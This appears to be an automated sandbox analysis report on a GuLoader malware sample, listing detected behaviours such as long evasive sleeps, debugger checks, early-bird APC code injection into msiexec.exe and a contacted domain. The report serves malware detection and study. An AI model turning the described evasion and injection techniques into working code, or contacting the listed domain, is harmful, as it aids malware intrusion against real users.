Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6925 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2752 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2032 Thread sleep time: -4611686018427385s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5068 Thread sleep count: 572 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5068 Thread sleep time: -5720000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\msiexec.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\msiexec.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Code function: 0_2_004062A3 FindFirstFileA,FindClose, 0_2_004062A3
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Code function: 0_2_00405768 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose, 0_2_00405768
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Code function: 0_2_004026FE FindFirstFileA, 0_2_004026FE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: msiexec.exe, 00000008.00000002.3452922453.0000000008A6A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllJ
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\SysWOW64\msiexec.exe Process queried: DebugPort Jump to behavior
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Early bird code injection technique detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\SysWOW64\msiexec.exe base: 4060000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\3lH2EWD4wU.exe Code function: 0_2_0040320C EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_0040320C
windows-stand
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  • Signature
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  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1544504 Sample: 3lH2EWD4wU.exe Startdate: 29/10/2024 Architecture: WINDOWS Score: 100 26 www.bookinginfo.asia 2->26 28 Multi AV Scanner detection for dropped file 2->28 30 Multi AV Scanner detection for submitted file 2->30 32 Yara detected GuLoader 2->32 34 AI detected suspicious sample 2->34 8 3lH2EWD4wU.exe 1 19 2->8         started        signatures3 process4 file5 20 C:\Users\user\AppData\...20ahani132.Udf, ASCII 8->20 dropped 36 Suspicious powershell command line found 8->36 12 powershell.exe 26 8->12         started        signatures6 process7 file8 22 C:\Users\user\AppData\...\3lH2EWD4wU.exe, PE32 12->22 dropped 24 C:\Users\...\3lH2EWD4wU.exe:Zone.Identifier, ASCII 12->24 dropped 38 Early bird code injection technique detected 12->38 40 Writes to foreign memory regions 12->40 42 Found suspicious powershell code related to unpacking or dynamic code loading 12->42 44 3 other signatures 12->44 16 conhost.exe 12->16         started        18 msiexec.exe 6 12->18         started        signatures9 process10
⊘No contacted IP infos

Contacted Domains

Name IP Active
www.bookinginfo.asia unknown unknown